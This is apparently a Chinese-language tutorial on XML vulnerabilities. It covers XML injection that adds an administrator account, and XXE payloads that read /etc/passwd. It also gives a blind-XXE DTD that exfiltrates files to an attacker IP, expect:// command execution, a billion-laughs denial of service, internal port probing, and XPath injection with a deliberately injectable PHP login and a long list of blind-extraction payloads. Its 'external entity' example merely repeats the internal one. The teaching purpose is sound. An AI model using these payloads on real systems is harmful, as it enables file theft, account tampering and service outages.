XML漏洞
XML格式
XML被设计用来传输和存储数据,其焦点是数据的内容。
首先了解XML(可扩展标记语言) 基本格式(内部DTD)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0"?> <!--xml文件的声明--> <!DOCTYPE note [ <!--定义此文档是 note 类型的文档--> <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--> <!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--> <!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--> <!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型--> ]> <note> <to>Y0u</to> <from>@re</from> <head>v3ry</head> <body>g00d!</body> </note>
总的来说
第一部分:XML声明
第二部分:文档类型定义DTD //漏洞一般在此出现
第三部分:文档元素
DTD
DTD:用来约束XML文档定义语义约束分类
内部DTD
外部DTD
1 2 3 4 5 6 7 8 9 10 11 12 <!DOCTYPE 根元素名称 SYSTEM "dtd路径"> example: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root-element SYSTEM "test.dtd"> <note> <to>Y0u</to> <from>@re</from> <head>v3ry</head> <body>g00d!</body> </note>
公共DTD
1 <!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">
DTD实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
按实体有无参分类
一般实体
1 2 3 4 声明 <!ENTITY 实体名称 "实体内容"> 引用方法 &实体名称;
参数实体
1 2 3 4 声明 <!ENTITY % 实体名称 "实体内容"> 引用方法 %实体名称;
按实体使用方式分类
1. 内部实体
1 2 3 4 5 6 7 8 9 <!ENTITY 实体名称 "实体的值"> example: <?xml version = "1.0" encoding = "utf-8"?> <!DOCTYPE test [ <!ENTITY writer "Dawn"> <!ENTITY copyright "Copyright W3School.com.cn"> ]> <test>&writer;©right;</test>
外部实体
1 2 3 4 5 6 7 8 9 <!ENTITY 实体名称 "实体的值"> example: <?xml version = "1.0" encoding = "utf-8"?> <!DOCTYPE test [ <!ENTITY writer "Dawn"> <!ENTITY copyright "Copyright W3School.com.cn"> ]> <test>&writer;©right;</test>
根据不同语言有以下可支持的协议:
img
XML注入
原理
与sql闭合类似,闭合标签达到更改、添加数据的效果
前提条件
1. 用户能够控制数据的输入
1. 程序有拼凑的数据
example
test.xml
1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0" encoding="utf-8" ?> <manager > <admin id ="1" > <username > admin</username > <password > admin</password > </admin > <admin id ="2" > <username > zhangsa</username > <password > 123456</password > </admin > </manager >
注入payload:
1 123456</password > </admin > <admin id ="3" > <name > hack</name > <password > hacker</password > </admin >
server接收结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" encoding="utf-8" ?> <manager > <admin id ="1" > <username > admin</username > <password > admin</password > </admin > <admin id ="2" > <username > zhangsa</username > <password > 123456</password > </admin > <admin id ="3" > <username > hack</username > <password > hacker</password > </admin > </manager >
这样就通过XML注入添加了一个名为hack,密码为hacker的管理员账户。
XML注入两大要素:标签闭合和获取XML表结构
XXE漏洞
原理
外部引用 可以支持http,file,ftp等协议
如果一个接口支持接收xml数据,且没有对xml数据做任何安全上的措施,就可能导致XXE漏洞
攻击者可以构造一个XML文档,文档里引用外部实体通过协议进行读取文件等操作
例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 一般实体+外部实体 <?xml version = "1.0" encoding = "utf-8"?> <!DOCTYPE test [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <test>&file;</test> 参数实体+外部实体 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "file:///etc/passwd"> %file; ]>
利用条件
php中解析xml用的是libxml库
版本<=2.9.0的php中
simplexml_load_string()函数将正确的XML字符转化为php中的SimpleXMLElement对象
而>2.9.0的,默认是禁止解析xml外部实体内容的
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致攻击者可以构造一个恶意的XML
1 2 3 4 5 6 /etc/ hosts /proc/ net/arp /proc/ net/tcp /proc/ net/udp /proc/ net/dev /proc/ net/fib_trie
XXE攻击类别及实例
有回显
可以用下面的两种方式:
直接使用外部实体调用file://、php://filter/read=convert.base64-encode/resource=等函数去读取本地文件
1 2 3 4 5 <? xml version = "1.0" encoding = "utf-8" ?> <!DOCTYPE any [ <!ENTITY file SYSTEM "file:///etc/passwd" > ]> <test>&file;</test>
将外部实体引用的 URL 设置到本地服务器,本地构建恶意 dtd
文件,远程注入
1 2 3 4 5 6 7 8 <?xml version = "1.0" encoding = "utf-8"?> <!DOCTYPE any [ <!ENTITY file SYSTEM "http://xxx.xxx.xxx/evil.dtd"> %file;]> <test>&evil;</test> //外部dtd内容 <!ENTITY evil SYSTEM "file:///etc/passwd" >
无回显
Blind XXE外带,建立dtd文件进行远程协议调用文件
Blind XXE原理
先在受害机调用%dtd,请求远程服务器(攻击服务器)上的evil.dtd。
再调用evil.dtd中的%file。%file获取受害机上面的敏感文件,然后将%file的返回结果传到%send。
然后受害机调用%send把读取到的数据发送到远程服务器上。
假设攻击机ip为:192.168.201.128
vps上部署evil.dtd
1 <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.201.128/?content=%file;'>"> %payload;
payload
1 2 3 4 5 6 7 <?xml version="1.0"?> <!DOCTYPE test[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/qwzf.txt"> <!ENTITY % dtd SYSTEM "http://192.168.201.128/evil.dtd"> %dtd; %send; ]>
进行XXE攻击后,服务器会把文件内容发送到攻击者服务器(apache日志记录)
攻击机上:tail -f /var/log/apache2/access.log
特殊协议攻击
执行系统命令
条件:在安装expect扩展的PHP环境
1 2 3 4 5 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <root><name>&xxe;</name></root>
ddos
1 2 3 4 5 6 7 8 9 10 11 12 <?xml version="1.0"?> <!DOCTYPE lolz [<!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
探测内网端口
1 2 3 4 5 6 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]> <root><name>&xxe;</name></root>
xpath注入
原理
XPath 注入利用 XPath
解析器的松散输入和容错特性,能够在URL、表单或其它信息上附带恶意的XPath
查询代码,以获得高权限信息的访问权,类似于SQL注入。
注入对象是一个存储数据的XML文件。因为xpath不存在访问控制,所以不会遇到许多在SQL注入中经常遇到的访问限制。
注入出现的位置也就是cookie,headers,request
,parameters/input等
example
test.xml(用于存储username和password)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" encoding="UTF-8" ?> <root > <users > <user > <id > 1</id > <username > test1</username > <password > test1</password > </user > <user > <id > 2</id > <username > test2</username > <password > test2</password > </user > </users > </root >
test.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $xml =simplexml_load_file ('test.xml' );$name =$_GET ['name' ];$pwd =$_GET ['pwd' ];$query ="/root/users/user[username/text()='" .$name ."' and password/text()='" .$pwd ."']" ;echo $query ;$result =$xml ->xpath ($query );if ($result ){ echo '<h2>Welcome</h2>' ; foreach ($result as $key =>$value ){ echo '<br />ID:' .$value ->id; echo '<br />Username:' .$value ->username; } }?>
simplexml_load_file,加载xml文件
正常查询:?name=test1&pwd=test1
server端语句:/root/users/user[username/text()='test1'and password/text()='test1']
注入语句:?name=' or 1=1 or ''='&pwd=1
server语句:/root/users/user[username/text()='' or 1=1 or ''='' and password/text()='1']
注入payload
一般注入形式
1 2 3 4 5 6 $query ="user/username[@name='" .$user ."']" ;$query ="user/username[@name='user1' or 1=1 or ''='']" ;$query ="user/username[@name='user1']|//*|//*['']" ;
盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 链:/ -> root -> user/user -> username/email/password 判断根节点下的节点数'or count(/)=1 or ' '=' 'or count(/*)=1 or ' '=' 判断根节点下节点长度'or string-length(name(/*[1]))=1 or ' '=' 判断根节点下节点名称'or substring(name(/*[1]), 1, 1)=' r' or ' '=' 'or substring(name(/*[1]), 2, 1)=' o' or ' '=' ... 假设根节点下子节点名称为root,判断子节点下的的节点'or count(/root)=1 or ' '=' 'or count(/root/user/*)>1 or ' '=' 'or string-length(name(/root/*[1]))=4 or ' '=' 猜解root下的节点名称:'or substring(name(/root/*[1]), 1, 1)=' u' or ' '=' 'or substring(name(/root/*[1]), 2, 1)=' s' or ' '=' ... 假设root下节点名称为user'or count(/root/user)=2 or ' '=' 'or substring(name(/root/user[position()=1]/*[1]), 1, 1)=' u' or ' '=' 'or substring(name(/root/user[position()=1]/*[1]), 2, 1)=' s' or ' '=' ... 判断user节点的子节点长度'or string-length(name(/root/user[position()=1]/*[1]))=8 or ' '=' 判断user节点的下子节点名称'or substring(name(/root/user[position()=1]/*[1]), 1, 1)=' u' or ' '=' ... 最终所有子节点值验证如下:'or substring(name(/root/user[position()=1]/*[1]), 1)=' username' or ' '=' 'or substring(name(/root/user[position()=1]/*[2]), 1)=' email' or ' '=' 'or substring(name(/root/user[position()=1]/*[3]), 1)=' password' or ' '=' 猜有无子节点'or count(/root/user[position()=1]/username/*)>0 or ' '=' 'or count(/root/user[position()=1]/email/*)>0 or ' '=' 'or count(/root/user[position()=1]/accounttype/*)>0 or ' '=' 'or count(/root/user[position()=1]/username/password/*)>0 or ' '=' false 则没有节点 读最后节点长度'or string-length((//user[position()=1]/username[position()=1]))=6 or ' '=' 读值'or substring((//user[position()=1]/username[position()=1]),1,1)=' f' or ' '=' 'or substring((//user[position()=1]/username[position()=1]),2,1)=' l' or ' '=' 'or substring((//user[position()=1]/username[position()=1]),3,1)=' a' or ' '=' 'or substring((//user[position()=1]/username[position()=1]),4,1)=' g' or ' '=' ...
更多参考
xpath盲注脚本